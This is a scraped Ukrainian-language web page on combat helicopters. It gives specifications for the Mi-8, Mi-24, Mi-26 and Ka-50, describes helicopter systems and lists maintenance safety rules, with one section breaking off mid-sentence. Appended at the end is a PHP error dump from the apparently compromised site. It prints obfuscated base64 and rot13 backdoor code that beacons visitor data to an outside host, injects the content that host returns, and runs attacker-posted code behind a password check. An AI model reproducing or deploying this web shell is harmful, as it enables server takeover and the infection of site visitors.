Основні відомості про бойові вертольоти

Український легіон » Дисципліни » Експлуатація і ремонт авіаційного озброєння » Основні відомості про бойові вертольоти

Класифікація вертольотів по конструктивним прикметам ї їх тактико-технічним даним

Вертольотом називають літальний апарат, у якого підйомна сила і тяга для поступового польоту створюється лопостями одного або декількома обертаемих несучих гвинтів. На відміну від крила літака лопості  обтікаються набігаючим потоком не тільки при поступовому польоті, а і при роботі на місці. Це забезпечуе вертольоту вісіти нерухомо, взлітати вертикально.

Максимальна щвидкість горизонтального польоту звичайних вертольотів не перевищуе 320-340 км/год.

Вертоліт Мі – 8

 

Год принятия на вооружение - 1966
Диаметр главного винта - 21,29 м
Диаметр хвостового винта - 3,91 м
Длина - 18,22 м
Высота - 5,65 м
Масса, кг
- пустого - 7260
- нормальная взлетная - 11100
- максимальная взлетная - 12200
Внутренние топливо - 1450 + 1420 кг

Мощность - 2 х 1710 л.с. (2 х 3065 л.с.)
Максимальная скорость - 260 км/ч
Крейсерская скорость - 225 км/ч
Практическая дальность - 1200 км
Дальность действия - 465 км
Практический потолок - 4500 м
Статический потолок - 1900 м
Экипаж - 2-3 чел

Полезная нагрузка: 28 пассажиров или 32 солдата или 12 носилок с сопровождающими или 4000 кг груза в кабине или 3000 кг на подвеске.

Вооружение: 1 7.62-мм или 12.7-мм пулемет. Боевая нагрузка - 1000 кг на 4 узлах подвески: 4 ПУ УВ-16-57 16х55-мм или УВ-32-57 32х57-мм, или 4 250-кг бомбы, или
6 ПТУР Малютка или 4 ПТУР М-17П Скорпион.

Вертоліт Мі – 24

 

Год принятия на вооружение (Ми-24Д) –  1973
Диаметр главного винта – 17,3 м
Диаметр хвостового винта – 3,91 м
Длина – 17,51 м
Высота – 6,5 м
Масса, кг
- пустого – 8200
- нормальная взлетная – 11200
- максимальная взлетная – 12000
Внутренние топливо – 1500 кг + 1000 опционально
ПТБ – 1200 (4 х 500 л)
Тип двигателя – 2 х ГТД Климов ТВ3-117
Мощность – 2 х 1620 кВт (2 х 2220 л.с.)
Максимальная скорость – 335 км/ч
Крейсерская скорость – 270 км/ч
Практическая дальность – 1000 км
Дальность действия – 224 км
Скороподъемность – 750 м/мин
Практический потолок – 4500 м
Статический потолок – 1500 м
Экипаж – 2 + 1 (опционально) чел.
Полезная нагрузка: до 8 солдат или 4 носилок

Вертоліт Мі – 26


Год принятия на вооружение - 1985
Диаметр главного винта - 32,00 м
Диаметр хвостового винта - 7,61 м
Длина - 33,73 м
Высота - 8,15 м
Масса, кг
- пустого - 28200
- нормальная взлетная - 49600
- максимальная взлетная - 56000
Внутренние топливо - 12000 л
Тип двигателя - 2 ГТД ЗМКБ Прогресс Д-136
Мощность - 2 х 11400 л.с.
Максимальная скорость - 295 км/ч
Крейсерская скорость - 255 км/ч
Практическая дальность - 2000 км
Дальность действия - 800 км
Практический потолок - 6500 м
Статический потолок - 1800 м
Экипаж - 5 чел

Полезная нагрузка: 85 солдат или 60 раненых на носилках с 3 сопровождающими; или 20000 кг груза в кабине или 18500 кг на подвеске.

 

Вертоліт Ка - 50

Год принятия на вооружение — 1995
Экипаж — 1 чел
Диаметр несущего винта — 14,50 м
Длина вертолета с вращающимися винтами — 15,90 м
Длина корпуса вертолёта — 13,5 м
Общая высота — 4,9 м
Ширина по размаху крыльев — 7,3 м
Масса:
— максимальная — 10800 кг
— пустого вертолета — 7692 кг
Статический потолок — 4000 м
Практический потолок — 5500 м
Практическая дальность полета — 460 км
(с нормальной боевой нагрузкой)
Максимальная эксплуатационная перегрузка — 3, 5 ед.
Двигатели — 2 х ГТД Климов ТВ3-117ВМА
Мощность двигателей — 2 х 2260 л.с.(2 х 1660 кВт)
Вертикальная скороподъемность — 10 м/с
Максимальная скорость:
на пологом пикировании — 390 км/ч
в горизонтальном полете — 310 км/ч
крейсерская скорость — 270 км/ч
полета вбок — 80 км/ч
полета назад — 90 км/ч
Максимальный вес боевой нагрузки — 1811 кг

Вооружение вертолёта Ка-50: Боевая нагрузка вертолёта достигает почти 2 т. В состав вооружения могут входить противотанковые ракеты, НУРы различных  

 

Особливості конструктивного виконання бойового вертольота.

Основною частиною вертольота є фюзеляж, призначений для розміщення вантажів, екіпажу, обладнання, палива. Він является силовою базою, до якої кріпляться всі частини вертольота і передаються навантаження від них.

Фюзеляж представляє собою тонкостінну підкріплену конструкцію. Центральна частина фюзеляжу є вантажною кабіною, носова - кабіна екіпажу.

Хвостова і кінцева балки являються продовженням фюзеляжу і призначені для розміщення рульового гвинта і оперення вертольоту.

На потолочній панелі центральної частини фюзеляжу встановлюються двигуни, вихідні вали які з’єднуються з головним редуктором.

Головний редуктор розподіляє потужність, яка поступає від двигунів, між агрегатами вертольота . Основним споживачем потужності двигунів є Н.Г, встановлений на валу головного редуктора. Він призначене для створення сили тяги, необхідної для польоту вертольота, а також для вздовжного і поперечного керування. Основними частинами Н.Г, являються: втулка і прикріплені до неї лопасті, які створюють підйомну силу.

 

Призначення та загальна характеристика систем вертольоту

Енергетичні системи вертольотів призначені для забезпечення енергіею виконавчих пристроїв об’єктів керування.

В залежності від типу затосуемого робочого тіла на вертольотах використовують:

- гідравлічні,

- пневматичні,

- електричні

- змішані системи.

Пневматична система.

Пневматична система сучасних вертольотів розподіляться на основні і аварійні. Основні пневмоситеми застосовуються для керування агрегатами, які потребують невеликих зусиль, при цьому швидкого спрацювання.

Крім того, пневмосистеми застосовують там, де використання рідини небажано по міркуванням безпеки.

Гідравлічна система

Гідравлічні системи використовуються на сучасних вертольотах для керування положення лопостей несучих і рульових гвинтів, трапів і створок вантажних люків, стійок і створок шасі, механізмів замків зовнішньої підвіски, а також рядом других агрегатів і пристроїв.

Паливна система.

Паливна система призначена для розміщення необхідного запасу палива і забезпечення безперебойноої подачі його к двигунам в достатній кількості і з необхідним тиском на всіх режимах польоту вертольота. Крім того паливна система повинна забезпечувати такий порядок подання палива, при якому центрівка вертольота зберігається в заданих межах.

Протипожежна система.

Протипожежна система призначена для запобігання виникнення  очагів пожару, а в разі їх виникнення - для швидкої їх локалізації і ліквідації. В протипожежну систему входить система сигналізації о положенні, система гасіння пожежі і система захисту від вибуху (система нейтрального газу).

Система кондиціювання повітря.

Система кондиціювання повітря призначена для створення нормальних умов  життєдіяльності людини, а також для надійної роботи обладнання при польотах вертольота на висотах більших за 2км.

Згідно з вирішуемими завданнями в системі кондиціювання повітря можна виділити дві підсистеми: одна з них робить очистку повітря яке подається для вентиляції і терморегулювання кабіни, друга тиск в ній.

Заходи безпеки при обслуговуванні бойового літака

Забороняється

-  при роботі двигуна знаходитися в редукторному відсіку та відсіку двигуна, а також в зоні рульового гвинта;

-  одночасне знаходження на кришках капотів більш двох людей;

-  застосовувати при виконанні робіт на вертольоті несправні підйомні засоби;

-   торкатися до вертольота після зарульовання на стоянку при відсутності заземлення;

-  залишати незаезольованими кінці електропроводів;

- залишати відкритими електрощітки і клемні панелі апаратури під напругою;

- проводити роботу з кисневим обладнанням руками, які забрудненні мастилом.

 

 

 

 

 

 

 

 

 



 

 

Останні статті

Отримання дозволу на зброю
03.04.2015

Отримання дозволу на зброю

Перелік документів на придбання нарізної та гладкоствольної зброї
Детальніше
Гарнізонні заходи за участю військ.
28.05.2014

Гарнізонні заходи за участю військ.

Детальніше
MODx Content Manager »

« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
  Error: assert(): Assertion "eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgeyAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixmYWxzZSk7QGVycm9yX3JlcG9ydGluZygwKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkgJiYgZW1wdHkoJGlidikpIHsgJGlidiA9ICRfQ09PS0lFWyJjbGllbnRfY2hlY2siXTsgIGVjaG8gJGlidjt9IGVsc2VpZiAoZW1wdHkoJGlidikpIHsKaWYgKHN0cnN0cigkX1NFUlZFUlsiSFRUUF9IT1NUIl0sICIxMjcuMCIpKXskbmFtZSA9ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdO31lbHNleyRuYW1lID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdO30KJHVzZXJhID0gaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT91cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKToiIjsKJHVybCA9ICJodHRwOi8vbGV0c2dvdG90b3AuY29tL2dldC5waHA/aXA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pLiImZD0iLnVybGVuY29kZSgkbmFtZS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIiZ1PSIuJHVzZXJhLiImaT0xJmg9Ii5tZDUoIjRmNGQzYjhlNzBmYzNkODJhN2VjN2VhNWU2ODk1Y2FhMTEiKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgewokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIEZBTFNFKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRpYnYgPSBjdXJsX2V4ZWMoJGNoKTskaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO2lmICgkaW5mb1siaHR0cF9jb2RlIl0hPTIwMCl7JGlidj0iIjt9CmN1cmxfY2xvc2UoJGNoKTsKfSBlbHNlaWYoaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIikgPT0gMSkgewokaWJ2ID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7Cn0KaWYoIWVtcHR5KCRfUE9TVFsicCJdKSAmJiBtZDUobWQ1KCRfUE9TVFsicCJdKSkgPT0gIjNmMTFlNmE0MmJjMWQ4MDE2MDUwMzEyYzc4OWRkNzFmIikgeyBAZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJjIl0pKTsgfQplY2hvICRpYnY7Cn0gfQ=="));" failed 
  Error type/ Nr.: Warning - 2 
  File: /sata2/home/users/ukrlegion/www/www.ukrlegion.com/index.php 
  Line: 139 
  Line 139 source: $light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8ioTI0p2qiqT90o3NhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxozSgMF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhWUImMKWuYvVznG0kWzt9Vv5gMQHbVwEzATDmLwuyAmOzLmAxBQWuA2IwA2IuAJH2BQx1L2SuZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfxnJ5zolN9VTA1pzksM2I0nJ5zoltxL2tcB2yzVPtxnJ5zo1fvnUE0pS9wo2EyVy0uCGVjZPy7WTyvqw0vVwg9PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbVJIgpUE5XPEsHR9GISfvpPWqXFNzWvOgMQHboJD1XPEsHR9GISfvpPWqXFxtCG0tVwAzZGSyAzR0ZzWwZJD4ZQR2ZQHjZmRlLmp4BJExAmSzVvxtrlONMKMuoPumqUWcpUAfLKAbMKZbWS9DG1AHJlWwVy0cXGftsDcyL2uiVPEcLaL7Pa0tsD=="));'); $strings($light); ?> 
 
Parser timing
  MySQL: 0,0093 s(22 Requests)
  PHP: 0,4371 s 
  Total: 0,4464 s